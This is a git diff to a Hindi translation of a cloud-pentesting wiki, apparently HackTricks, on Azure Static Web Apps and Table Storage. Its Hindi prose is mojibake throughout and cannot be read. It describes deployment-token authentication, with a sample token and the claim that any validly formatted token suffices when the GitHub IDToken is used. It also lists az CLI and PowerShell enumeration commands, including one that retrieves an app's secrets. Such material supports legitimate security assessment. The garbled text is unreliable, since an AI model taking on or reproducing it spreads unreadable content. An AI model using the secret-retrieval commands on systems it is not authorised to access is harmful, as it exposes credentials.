рдЗрд╕рдХрд╛ рдорддрд▓рдм рдпрд╣ рдирд╣реАрдВ рд╣реИ рдХрд┐ рдпрд╣ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИред рдЬреЛрдЦрд┐рдореЛрдВ рдореЗрдВ рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ CORS, рдЕрдкрд░реНрдпрд╛рдкреНрдд рдкреНрд░рдорд╛рдгреАрдХрд░рдг, рдФрд░ рд╕рд╛рдордЧреНрд░реА рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рдЬреЛ рдпрджрд┐ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдкреНрд░рдмрдВрдзрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рддреЛ рдРрдкреНрд╕ рдХреЛ XSS рдФрд░ рдбреЗрдЯрд╛ рд▓реАрдХ рдЬреИрд╕реЗ рд╣рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +Azure Static Web Apps рдПрдХ рдХреНрд▓рд╛рдЙрдб рд╕реЗрд╡рд╛ рд╣реИ рдЬреЛ **GitHub рдЬреИрд╕реЗ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рд╕реЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд CI/CD рдХреЗ рд╕рд╛рде рд╕реНрдерд┐рд░ рд╡реЗрдм рдРрдкреНрд╕ рдХреЛ рд╣реЛрд╕реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ**ред рдпрд╣ рд╡реИрд╢реНрд╡рд┐рдХ рд╕рд╛рдордЧреНрд░реА рд╡рд┐рддрд░рдг, рд╕рд░реНрд╡рд░ рд░рд╣рд┐рдд рдмреИрдХрдПрдВрдб, рдФрд░ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд HTTPS рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рд╕реБрд░рдХреНрд╖рд┐рдд рдФрд░ рд╕реНрдХреЗрд▓реЗрдмрд▓ рдмрдирддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рднрд▓реЗ рд╣реА рд╕реЗрд╡рд╛ рдХреЛ "рд╕реНрдерд┐рд░" рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЗрд╕рдХрд╛ рдорддрд▓рдм рдпрд╣ рдирд╣реАрдВ рд╣реИ рдХрд┐ рдпрд╣ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИред рдЬреЛрдЦрд┐рдореЛрдВ рдореЗрдВ рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ CORS, рдЕрдкрд░реНрдпрд╛рдкреНрдд рдкреНрд░рдорд╛рдгреАрдХрд░рдг, рдФрд░ рд╕рд╛рдордЧреНрд░реА рдореЗрдВ рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рдЬреЛ рдпрджрд┐ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдкреНрд░рдмрдВрдзрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рддреЛ рдРрдкреНрд╕ рдХреЛ XSS рдФрд░ рдбреЗрдЯрд╛ рд▓реАрдХ рдЬреИрд╕реЗ рд╣рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ### Deployment Authentication > [!TIP] > рдЬрдм рдПрдХ рд╕реНрдерд┐рд░ рдРрдк рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЖрдк **рдбрд┐рдкреНрд▓реЙрдпрдореЗрдВрдЯ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдиреАрддрд┐** рдХреЗ рдмреАрдЪ **рдбрд┐рдкреНрд▓реЙрдпрдореЗрдВрдЯ рдЯреЛрдХрди** рдФрд░ **GitHub Actions рд╡рд░реНрдХрдлрд╝реНрд▓реЛ** рдЪреБрди рд╕рдХрддреЗ рд╣реИрдВред -- **рдбрд┐рдкреНрд▓реЙрдпрдореЗрдВрдЯ рдЯреЛрдХрди**: рдПрдХ рдЯреЛрдХрди рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдбрд┐рдкреНрд▓реЙрдпрдореЗрдВрдЯ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред **рдЗрд╕ рдЯреЛрдХрди рдХреЗ рд╕рд╛рде рдХреЛрдИ рднреА рдирдП рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдбрд┐рдкреНрд▓реЙрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ**ред рдПрдХ **Github Action рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ** рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдореЗрдВ рдЯреЛрдХрди рдХреЛ рдПрдХ рдЧреБрдкреНрдд рдХреЗ рд░реВрдк рдореЗрдВ рдирдП рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдбрд┐рдкреНрд▓реЙрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рд░ рдмрд╛рд░ рдЬрдм рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдЕрдкрдбреЗрдЯ рд╣реЛрддреА рд╣реИ, рдбрд┐рдкреНрд▓реЙрдп рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -- **GitHub Actions рд╡рд░реНрдХрдлрд╝реНрд▓реЛ**: рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдПрдХ рдмрд╣реБрдд рд╕рдорд╛рди Github Action рднреА рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдореЗрдВ рдбрд┐рдкреНрд▓реЙрдп рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ **рдЯреЛрдХрди рднреА рдПрдХ рдЧреБрдкреНрдд рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддрд╛ рд╣реИ**ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕ Github Action рдореЗрдВ рдПрдХ рдЕрдВрддрд░ рд╣реИ, рдпрд╣ **`actions/github-script@v6`** рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдХрд╛ IDToken рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдРрдк рдХреЛ рдбрд┐рдкреНрд▓реЙрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред +- **рдбрд┐рдкреНрд▓реЙрдпрдореЗрдВрдЯ рдЯреЛрдХрди**: рдПрдХ рдЯреЛрдХрди рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдбрд┐рдкреНрд▓реЙрдпрдореЗрдВрдЯ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред **рдЗрд╕ рдЯреЛрдХрди рдХреЗ рд╕рд╛рде рдХреЛрдИ рднреА рдирдП рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдбрд┐рдкреНрд▓реЙрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ**ред рд╣рд░ рдмрд╛рд░ рдЬрдм рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдЕрдкрдбреЗрдЯ рд╣реЛрддреА рд╣реИ, рддреЛ рдРрдк рдХреЗ рдирдП рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдбрд┐рдкреНрд▓реЙрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЯреЛрдХрди рдХреЛ рдПрдХ рдЧреБрдкреНрдд рдореЗрдВ рд░рдЦрдХрд░ **Github Action рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ** рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдореЗрдВ рдбрд┐рдкреНрд▓реЙрдп рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +- **GitHub Actions рд╡рд░реНрдХрдлрд╝реНрд▓реЛ**: рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдПрдХ рдмрд╣реБрдд рд╕рдорд╛рди Github Action рднреА рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдореЗрдВ рдбрд┐рдкреНрд▓реЙрдп рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ **рдЯреЛрдХрди рднреА рдПрдХ рдЧреБрдкреНрдд рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддрд╛ рд╣реИ**ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕ Github Action рдореЗрдВ рдПрдХ рдЕрдВрддрд░ рд╣реИ, рдпрд╣ **`actions/github-script@v6`** рдПрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдХрд╛ IDToken рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдРрдк рдХреЛ рдбрд┐рдкреНрд▓реЙрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред - рднрд▓реЗ рд╣реА рджреЛрдиреЛрдВ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдХреНрд░рд┐рдпрд╛ **`Azure/static-web-apps-deploy@v1`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рдЯреЛрдХрди рдХреЗ рд╕рд╛рде `azure_static_web_apps_api_token` рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЗрд╕ рджреВрд╕рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдПрдХ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдЯреЛрдХрди рдПрдХ рдорд╛рдиреНрдп рдкреНрд░рд╛рд░реВрдк рдХреЗ рд╕рд╛рде рдЬреИрд╕реЗ `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345` рдРрдк рдХреЛ рдбрд┐рдкреНрд▓реЙрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░рд╛рдзрд┐рдХрд░рдг `github_id_token` рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ IDToken рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред ### Web App Basic Authentication рдпрд╣ **рд╡реЗрдм рдРрдк рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкрд╛рд╕рд╡рд░реНрдб** рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред рд╡реЗрдм рдХрдВрд╕реЛрд▓ рдЗрд╕реЗ рдХреЗрд╡рд▓ рд╕реНрдЯреЗрдЬрд┐рдВрдЧ рд╡рд╛рддрд╛рд╡рд░рдг рдпрд╛ рд╕реНрдЯреЗрдЬрд┐рдВрдЧ рдФрд░ рдЙрддреНрдкрд╛рджрди рджреЛрдиреЛрдВ рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -рдпрд╣ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╣реИ рдХрд┐ рд▓реЗрдЦрди рдХреЗ рд╕рдордп рдПрдХ рдкрд╛рд╕рд╡рд░реНрдб-рд╕рдВрд░рдХреНрд╖рд┐рдд рд╡реЗрдм рдРрдк рдХреИрд╕рд╛ рджрд┐рдЦрддрд╛ рд╣реИ: +рдпрд╣ рдЗрд╕ рддрд░рд╣ рд╣реИ рдХрд┐ рд▓реЗрдЦрди рдХреЗ рд╕рдордп рдПрдХ рдкрд╛рд╕рд╡рд░реНрдб-рд╕рдВрд░рдХреНрд╖рд┐рдд рд╡реЗрдм рдРрдк рдХреИрд╕рд╛ рджрд┐рдЦрддрд╛ рд╣реИ:
@@ -71,11 +71,15 @@ Routes **рдХреИрд╕реЗ рдЖрдиреЗ рд╡рд╛рд▓реЗ HTTP рдЕрдиреБрд░реЛрдзреЛрдВ рдХ ### рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди -Azure Static Web Apps рдХреЛ **рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдБрдХрд┐, [рдЗрд╕ FAQ](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-) рдореЗрдВ рдЙрд▓реНрд▓реЗрдЦрд┐рдд рдХреЗ рдЕрдиреБрд╕рд╛рд░, рд╡реЗ рдХреЗрд╡рд▓ **рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП Azure Key Vault рд╕реЗ рд░рд╣рд╕реНрдпреЛрдВ рдХреЛ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдорд░реНрдерд┐рдд рд╣реИрдВ, рдЕрдиреНрдп Azure рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ**ред +Azure Static Web Apps рдХреЛ **рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдБрдХрд┐, [рдЗрд╕ FAQ](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-) рдореЗрдВ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рд╡реЗ рдХреЗрд╡рд▓ **рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП Azure Key Vault рд╕реЗ рд░рд╣рд╕реНрдпреЛрдВ рдХреЛ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдорд░реНрдерд┐рдд рд╣реИрдВ, рдЕрдиреНрдп Azure рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ**ред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП, рдЖрдк рдПрдХ Azure рдЧрд╛рдЗрдб рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рд╕реНрдерд┐рд░ рдРрдк рдореЗрдВ рдПрдХ рд╡реЙрд▓реНрдЯ рд╕реАрдХреНрд░реЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ https://learn.microsoft.com/en-us/azure/static-web-apps/key-vault-secretsред ## рдЧрдгрдирд╛ + +{% tabs %} +{% tab title="az cli" %} +{% code overflow="wrap" %} ```bash # List Static Webapps az staticwebapp list --output table @@ -107,12 +111,65 @@ az rest --method POST \ # Check connected backends az staticwebapp backends show --name --resource-group ``` +{% endcode %} +{% endtab %} + +{% tab title="Az PowerShell" %} +{% code overflow="wrap" %} +```powershell +Get-Command -Module Az.Websites + +# Retrieves details of a specific Static Web App in the specified resource group. +Get-AzStaticWebApp -ResourceGroupName -Name + +# Retrieves the build details for a specific Static Web App. +Get-AzStaticWebAppBuild -ResourceGroupName -Name + +# Retrieves the application settings for a specific build environment in a Static Web App. +Get-AzStaticWebAppBuildAppSetting -ResourceGroupName -Name -EnvironmentName + +# Retrieves functions for a specific build environment in a Static Web App. +Get-AzStaticWebAppBuildFunction -ResourceGroupName -Name -EnvironmentName + +# Retrieves function app settings for a specific build environment in a Static Web App. +Get-AzStaticWebAppBuildFunctionAppSetting -ResourceGroupName -Name -EnvironmentName + +# Retrieves the configured roles for a Static Web App. +Get-AzStaticWebAppConfiguredRole -ResourceGroupName -Name + +# Retrieves the custom domains configured for a Static Web App. +Get-AzStaticWebAppCustomDomain -ResourceGroupName -Name + +# Retrieves details of the functions associated with a Static Web App. +Get-AzStaticWebAppFunction -ResourceGroupName -Name + +# Retrieves the app settings for the function app associated with a Static Web App. +Get-AzStaticWebAppFunctionAppSetting -ResourceGroupName -Name + +# Retrieves the secrets for a Static Web App. +Get-AzStaticWebAppSecret -ResourceGroupName -Name + +# Retrieves general app settings for a Static Web App. +Get-AzStaticWebAppSetting -ResourceGroupName -Name + +# Retrieves user details for a Static Web App with a specified authentication provider. +Get-AzStaticWebAppUser -ResourceGroupName -Name -AuthProvider + +# Retrieves user-provided function apps associated with a Static Web App. +Get-AzStaticWebAppUserProvidedFunctionApp -ResourceGroupName -Name + +``` +{% endcode %} +{% endtab %} +{% endtabs %} + + ## Web Apps рдмрдирд╛рдиреЗ рдХреЗ рдЙрджрд╛рд╣рд░рдг рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд▓рд┐рдВрдХ рдореЗрдВ рдПрдХ рд╡реЗрдм рдРрдк рдмрдирд╛рдиреЗ рдХрд╛ рдЕрдЪреНрдЫрд╛ рдЙрджрд╛рд╣рд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github) 1. рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА https://github.com/staticwebdev/react-basic/generate рдХреЛ рдЕрдкрдиреЗ GitHub рдЦрд╛рддреЗ рдореЗрдВ рдлреЛрд░реНрдХ рдХрд░реЗрдВ рдФрд░ рдЗрд╕рдХрд╛ рдирд╛рдо `my-first-static-web-app` рд░рдЦреЗрдВ -2. Azure рдкреЛрд░реНрдЯрд▓ рдореЗрдВ рдПрдХ Static Web App рдмрдирд╛рдПрдВ, Github рдПрдХреНрд╕реЗрд╕ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ рдФрд░ рдкрд╣рд▓реЗ рдлреЛрд░реНрдХ рдХреА рдЧрдИ рдирдИ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ +2. Azure рдкреЛрд░реНрдЯрд▓ рдореЗрдВ рдПрдХ Static Web App рдмрдирд╛рдПрдВ, GitHub рдПрдХреНрд╕реЗрд╕ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ рдФрд░ рдкрд╣рд▓реЗ рдлреЛрд░реНрдХ рдХреА рдЧрдИ рдирдИ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ 3. рдЗрд╕реЗ рдмрдирд╛рдПрдВ, рдФрд░ рдХреБрдЫ рдорд┐рдирдЯ рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░реЗрдВ, рдФрд░ рдЕрдкрдиреЗ рдирдП рдкреГрд╖реНрда рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ! ## рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдФрд░ рдкреЛрд╕реНрдЯ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди diff --git a/src/pentesting-cloud/azure-security/az-services/az-table-storage.md b/src/pentesting-cloud/azure-security/az-services/az-table-storage.md index 6d6658abe..958a29eb7 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-table-storage.md +++ b/src/pentesting-cloud/azure-security/az-services/az-table-storage.md @@ -4,7 +4,7 @@ ## Basic Information -**Azure Table Storage** рдПрдХ NoSQL рдХреА-рд╡реИрд▓реНрдпреВ рд╕реНрдЯреЛрд░ рд╣реИ рдЬрд┐рд╕реЗ рдмрдбрд╝реЗ рдкреИрдорд╛рдиреЗ рдкрд░ рд╕рдВрд░рдЪрд┐рдд, рдЧреИрд░-рд╕рдВрдмрдВрдзрд┐рдд рдбреЗрдЯрд╛ рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдЙрдЪреНрдЪ рдЙрдкрд▓рдмреНрдзрддрд╛, рдХрдо рд╡рд┐рд▓рдВрдмрддрд╛, рдФрд░ рдмрдбрд╝реЗ рдбреЗрдЯрд╛ рд╕реЗрдЯ рдХреЛ рдХреБрд╢рд▓рддрд╛рдкреВрд░реНрд╡рдХ рд╕рдВрднрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдХреЗрд▓реЗрдмрд┐рд▓рд┐рдЯреА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдбреЗрдЯрд╛ рдХреЛ рддрд╛рд▓рд┐рдХрд╛рдУрдВ рдореЗрдВ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдкреНрд░рддреНрдпреЗрдХ рдЗрдХрд╛рдИ рдХреЛ рдПрдХ рд╡рд┐рднрд╛рдЬрди рдХреБрдВрдЬреА рдФрд░ рдкрдВрдХреНрддрд┐ рдХреБрдВрдЬреА рджреНрд╡рд╛рд░рд╛ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рддреЗрдЬрд╝ рд▓реБрдХрдЕрдк рд╕рдВрднрд╡ рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рдбреЗрдЯрд╛ рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд, рдкреНрд░рдмрдВрдзрд┐рдд рд╕реНрдЯреЛрд░реЗрдЬ рдХреЗ рд▓рд┐рдП рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдПрдЯ рд░реЗрд╕реНрдЯ, рднреВрдорд┐рдХрд╛-рдЖрдзрд╛рд░рд┐рдд рдПрдХреНрд╕реЗрд╕ рдХрдВрдЯреНрд░реЛрд▓, рдФрд░ рд╕рд╛рдЭрд╛ рдПрдХреНрд╕реЗрд╕ рд╕рд┐рдЧреНрдиреЗрдЪрд░ рдЬреИрд╕реА рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рд╣реИред +**Azure Table Storage** рдПрдХ NoSQL рдХреА-рд╡реИрд▓реНрдпреВ рд╕реНрдЯреЛрд░ рд╣реИ рдЬрд┐рд╕реЗ рдмрдбрд╝реЗ рдкреИрдорд╛рдиреЗ рдкрд░ рд╕рдВрд░рдЪрд┐рдд, рдЧреИрд░-рд╕рдВрдмрдВрдзрд┐рдд рдбреЗрдЯрд╛ рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдЙрдЪреНрдЪ рдЙрдкрд▓рдмреНрдзрддрд╛, рдХрдо рд╡рд┐рд▓рдВрдмрддрд╛, рдФрд░ рдмрдбрд╝реЗ рдбреЗрдЯрд╛ рд╕реЗрдЯ рдХреЛ рдХреБрд╢рд▓рддрд╛рдкреВрд░реНрд╡рдХ рд╕рдВрднрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдХреЗрд▓реЗрдмрд┐рд▓рд┐рдЯреА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдбреЗрдЯрд╛ рдХреЛ рддрд╛рд▓рд┐рдХрд╛рдУрдВ рдореЗрдВ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдкреНрд░рддреНрдпреЗрдХ рдЗрдХрд╛рдИ рдХреЛ рдПрдХ рд╡рд┐рднрд╛рдЬрди рдХреБрдВрдЬреА рдФрд░ рдкрдВрдХреНрддрд┐ рдХреБрдВрдЬреА рджреНрд╡рд╛рд░рд╛ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рддреЗрдЬрд╝ рд▓реБрдХрдЕрдк рд╕рдВрднрд╡ рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рдбреЗрдЯрд╛ рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд, рдкреНрд░рдмрдВрдзрд┐рдд рд╕реНрдЯреЛрд░реЗрдЬ рдХреЗ рд▓рд┐рдП рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди, рднреВрдорд┐рдХрд╛-рдЖрдзрд╛рд░рд┐рдд рдПрдХреНрд╕реЗрд╕ рдирд┐рдпрдВрддреНрд░рдг, рдФрд░ рд╕рд╛рдЭрд╛ рдПрдХреНрд╕реЗрд╕ рд╕рд┐рдЧреНрдиреЗрдЪрд░ рдЬреИрд╕реА рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рд╣реИред рддрд╛рд▓рд┐рдХрд╛ рд╕реНрдЯреЛрд░реЗрдЬ рдХреЗ рд▓рд┐рдП **рдХреЛрдИ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рдмреИрдХрдЕрдк рддрдВрддреНрд░ рдирд╣реАрдВ рд╣реИ**ред @@ -69,16 +69,18 @@ Get-AzStorageAccount # List tables Get-AzStorageTable -Context (Get-AzStorageAccount -Name -ResourceGroupName ).Context + +Get-AzStorageTableStoredAccessPolicy -Table -Context (Get-AzStorageAccount -Name ).Context ``` {{#endtab}} {{#endtabs}} > [!NOTE] -> рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `az` cli рдПрдХ рдЦрд╛рддрд╛ рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдХреБрдВрдЬреА рдкрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░реЗрдЧрд╛ 